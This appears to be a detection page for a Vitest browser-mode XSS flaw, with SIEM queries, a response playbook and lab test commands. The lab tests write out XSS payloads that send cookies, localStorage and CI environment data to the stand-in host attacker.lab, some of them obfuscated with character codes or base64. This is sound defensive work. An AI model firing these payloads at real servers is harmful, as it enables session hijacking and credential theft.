Detect CVE-2026-47428: Vitest Browser Mode XSS via Unsanitized otelCarrier Query Parameter in CrowdStrike LogScale
CVE-2026-47428 is a reflected Cross-Site Scripting (XSS) vulnerability in @vitest/browser versions >= 4.0.17 < 4.1.6 and >= 5.0.0-beta.0 < 5.0.0-beta.3. The browser mode development server serves the otelCarrier query parameter as unsanitized inline script content in esm-client-injector.js and serverOrchestrator.ts, allowing an attacker to inject arbitrary JavaScript into the test runner's browser context. With a CVSS of 9.6 and public PoC available, this poses a critical risk to CI/CD pipelines and developer workstations running Vitest browser mode tests, potentially enabling credential theft, session hijacking, or supply chain compromise.
MITRE ATT&CK
LogScale Detection Query
#event_simpleName=NetworkConnectIP4 OR #event_simpleName=ProcessRollup2
| filter (
(event_simpleName="NetworkConnectIP4" AND RemotePort IN (5173, 5174, 5175, 4173, 3000) AND (HttpUri=/otelCarrier=/ OR DomainName=/vitest/))
OR
(event_simpleName="ProcessRollup2" AND ImageFileName=/(node|node\.exe)$/ AND CommandLine=/(vitest|@vitest\/browser)/)
)
| eval risk_signal=if(HttpUri=/[<>"'{}]/, "xss_in_otelCarrier", "vitest_browser_process")
| table _time, ComputerName, UserName, ImageFileName, CommandLine, RemoteAddressIP4, RemotePort, HttpUri, risk_signal
| sort -_time CrowdStrike Falcon CQL query detecting network connections to Vitest browser mode default ports with suspicious otelCarrier parameters, and Node.js process executions running Vitest browser mode.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate developer workstations running Vitest browser mode on default ports with benign otelCarrier trace context
- CI/CD agents running browser-based tests with OpenTelemetry instrumentation enabled
- Security researchers analyzing CVE-2026-47428 in isolated lab environments
- Port scanning or service discovery tools that enumerate common development server ports including Vitest defaults
Other platforms for CVE-2026-47428
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1CVE-2026-47428 Basic XSS via otelCarrier Parameter
Expected signal: HTTP request logs showing otelCarrier parameter containing <script> tags; Node.js process spawning on port 5173; outbound network connection to attacker.lab if XSS executes successfully in browser
- Test 2CVE-2026-47428 Event Handler XSS Payload Variant
Expected signal: HTTP requests with onerror, onload event handler patterns in otelCarrier; DNS/network connections to attacker.lab from browser process if XSS executes; browser process network activity on non-standard ports
- Test 3CVE-2026-47428 CI/CD Pipeline Exploitation Simulation
Expected signal: Node.js process with vitest and --browser arguments; child browser process (Chromium/Playwright) spawned from test runner; outbound HTTP connections from browser process to external host; environment variable access logged by audit framework
References (4)
- https://github.com/vitest-dev/vitest/security/advisories/GHSA-2h32-95rg-cppp
- https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/client/public/esm-client-injector.js#L41
- https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/node/serverOrchestrator.ts#L48
- https://github.com/advisories/GHSA-2h32-95rg-cppp
Response Playbook
Triage
- Identify all hosts running @vitest/browser versions >= 4.0.17 < 4.1.6 or >= 5.0.0-beta.0 < 5.0.0-beta.3 by querying package.json files, npm audit output, or SBOM data across developer workstations and CI/CD nodes.
- Determine if the Vitest browser mode server was exposed beyond localhost — check for 0.0.0.0 bindings, port forwarding rules, or reverse proxy configurations that may have allowed external access to the development server.
- Review web/proxy access logs for requests containing otelCarrier parameters with XSS payloads (script tags, event handlers, javascript: URIs) directed at Vitest server ports (default 5173-5175, 4173).
- Assess whether any browser sessions were active during the suspected exploitation window and check for evidence of credential theft, token exfiltration, or unauthorized DOM access in browser telemetry or network logs.
- Check CI/CD pipeline logs for any unusual network connections or data exfiltration from test runner nodes that coincide with Vitest browser mode test executions.
Containment
- Immediately update @vitest/browser to >= 4.1.6 or >= 5.0.0-beta.3 on all affected systems. If immediate patching is not possible, disable Vitest browser mode or block external access to Vitest development server ports via firewall rules.
- Revoke any credentials, tokens, or session cookies that may have been accessible in the browser context during Vitest test runs on potentially compromised developer workstations, including npm tokens, GitHub personal access tokens, and cloud provider credentials stored in browser storage.
Evidence Collection
- Capture full HTTP request/response logs from the period of suspected exploitation, focusing on requests to Vitest server endpoints containing otelCarrier parameters. Preserve URL-encoded values before any normalization.
- Collect memory dumps or browser forensic artifacts from developer workstations where Vitest browser mode was active, including browser storage (localStorage, sessionStorage, cookies), browser history, and network request logs from DevTools if available.
Escalation Criteria
- !Escalate immediately if XSS exploitation resulted in exfiltration of npm tokens, CI/CD secrets, cloud provider credentials, or code signing keys — the blast radius extends to the software supply chain.
- !Escalate if the Vitest development server was network-accessible to untrusted parties (internet-exposed, shared developer network, or multi-tenant CI/CD infrastructure), as exploitation may have been opportunistic rather than targeted.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
HTTP access logs from Vitest development server showing requests to orchestrator endpoints with otelCarrier query parameters containing XSS payloads - >
npm package-lock.json or yarn.lock files confirming @vitest/browser version installed on affected systems - >
Browser developer tools network logs or HAR files from test runner sessions showing injected script execution - >
Node.js process logs from CI/CD runners or developer machines showing Vitest browser mode invocation timestamps
Tuning Guidance
This detection has medium confidence due to the dual-use nature of the otelCarrier parameter in legitimate OpenTelemetry deployments. To reduce false positives: (1) Scope the detection to development network segments and CI/CD infrastructure rather than production network paths where Vitest browser mode should never be present. (2) Add allowlist filters for known-good otelCarrier formats such as base64-encoded W3C traceparent values that match the regex ^[A-Za-z0-9+/=]+$. (3) Correlate HTTP detections with process detections — the combination of a suspicious otelCarrier request AND a running Vitest browser mode process is a much higher-fidelity signal. (4) Consider tuning severity down to high if your organization uses extensive OpenTelemetry instrumentation, and rely more heavily on the process-based correlation.
Hunting Queries
Threat hunt for historical exploitation attempts of CVE-2026-47428 across 30 days, searching for XSS payloads in otelCarrier parameters directed at common Vitest browser mode server ports.
DeviceNetworkEvents
| where TimeGenerated >= ago(30d)
| where RemotePort in (5173, 5174, 5175, 4173, 3000)
| where RemoteUrl contains "otelCarrier"
| extend decoded_param = url_decode(extract(@"otelCarrier=([^&]+)", 1, RemoteUrl))
| where decoded_param matches regex @"[<>"'{}]|script|javascript:|on\w+="
| summarize count() by DeviceName, RemoteUrl, decoded_param
| order by count_ desc index=* (sourcetype=access_combined OR sourcetype=stream:http)
| rex field=uri "otelCarrier=(?<otel_raw>[^&\s]+)"
| eval otel_decoded=urldecode(otel_raw)
| search otel_decoded IN ("*<*", "*script*", "*javascript:*", "*onerror*")
| stats count by host, src, uri, otel_decoded
| sort -count Atomic Red Team Tests
Simulates the most basic exploitation of CVE-2026-47428 by sending a crafted HTTP request to a vulnerable Vitest browser mode server with an XSS payload in the otelCarrier query parameter.
Command
# LAB ONLY — requires a vulnerable @vitest/browser instance running locally
# Install vulnerable version
npx create-vitest-project@latest test-cve-2026-47428 --template browser && cd test-cve-2026-47428
npm install @vitest/[email protected]
# Start Vitest browser mode in background
npx vitest --browser &
VITEST_PID=$!
sleep 5
# Send XSS payload via otelCarrier parameter
curl -v 'http://localhost:5173/?otelCarrier=<script>fetch("http://attacker.lab/"+document.cookie)</script>'
# Also test URL-encoded variant
curl -v 'http://localhost:5173/?otelCarrier=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'
kill $VITEST_PID Cleanup
cd .. && rm -rf test-cve-2026-47428 Expected Telemetry
HTTP request logs showing otelCarrier parameter containing <script> tags; Node.js process spawning on port 5173; outbound network connection to attacker.lab if XSS executes successfully in browser
Expected Detection
Triggers kql DeviceNetworkEvents rule on otelCarrier XSS pattern; triggers spl access_combined sourcetype rule; triggers chronicle_yaral NETWORK_HTTP rule matching script injection pattern
Tests an alternative XSS payload using HTML event handlers rather than script tags, bypassing naive script-tag-only filters while still exploiting the unsanitized otelCarrier parameter.
Command
# LAB ONLY — requires a vulnerable @vitest/browser instance running locally on port 5173
# Test event handler based XSS
curl -v 'http://localhost:5173/?otelCarrier=<img src=x onerror=fetch(String.fromCharCode(104,116,116,112,58,47,47,97,116,116,97,99,107,101,114,46,108,97,98,47)+document.cookie)>'
# Test javascript: URI variant via anchor injection
curl -v 'http://localhost:5173/?otelCarrier=<a href=javascript:void(fetch("http://attacker.lab/"+btoa(JSON.stringify(localStorage))))>click</a>'
# Test SVG-based XSS
curl -v 'http://localhost:5173/?otelCarrier=<svg onload=eval(atob("ZmV0Y2goImh0dHA6Ly9hdHRhY2tlci5sYWIvIitidG9hKGRvY3VtZW50LmNvb2tpZSkp"))>' Cleanup
No persistent changes; terminate any Vitest browser mode process started for testing Expected Telemetry
HTTP requests with onerror, onload event handler patterns in otelCarrier; DNS/network connections to attacker.lab from browser process if XSS executes; browser process network activity on non-standard ports
Expected Detection
Triggers detection rules filtering for on\w+= patterns in otelCarrier; crowdstrike_cql NetworkConnectIP4 rule on suspicious outbound connections from Node.js/browser process; sumo_logic event_handler injection_type classification
Simulates an attacker exploiting CVE-2026-47428 in a CI/CD context by crafting a malicious PR that injects an otelCarrier payload to steal CI runner credentials when browser tests execute.
Command
# LAB ONLY — simulates CI/CD exploitation scenario
# Create a test project with vulnerable vitest/browser version
mkdir -p /tmp/lab-cve-2026-47428 && cd /tmp/lab-cve-2026-47428
cat > package.json <<'EOF'
{"name":"lab","scripts":{"test":"vitest --browser"},"devDependencies":{"@vitest/browser":"4.0.17","vitest":"2.1.0"}}
EOF
npm install
# Create malicious test file that would be submitted via PR
cat > credential_stealer.test.ts <<'EOF'
// Simulated malicious test — reads CI env vars
test('benign test name', () => {
console.log('Env dump:', JSON.stringify(process.env));
});
EOF
# Simulate the XSS payload that would be injected via otelCarrier when test runner opens browser
echo 'Payload: <script>fetch("http://attacker.lab/exfil?d="+btoa(JSON.stringify({cookie:document.cookie,origin:location.origin})))</script>'
# In real exploitation, this payload would be in the otelCarrier param of the URL opened by vitest browser mode
# Demonstrate process telemetry
ps aux | grep -E 'vitest|chromium|playwright' || echo 'No browser test processes currently running' Cleanup
rm -rf /tmp/lab-cve-2026-47428 Expected Telemetry
Node.js process with vitest and --browser arguments; child browser process (Chromium/Playwright) spawned from test runner; outbound HTTP connections from browser process to external host; environment variable access logged by audit framework
Expected Detection
Triggers crowdstrike_cql ProcessRollup2 rule on node.exe with vitest browser commandline; elastic_eql sequence rule correlating network activity with Vitest process; kql DeviceProcessEvents rule on Vitest browser mode invocation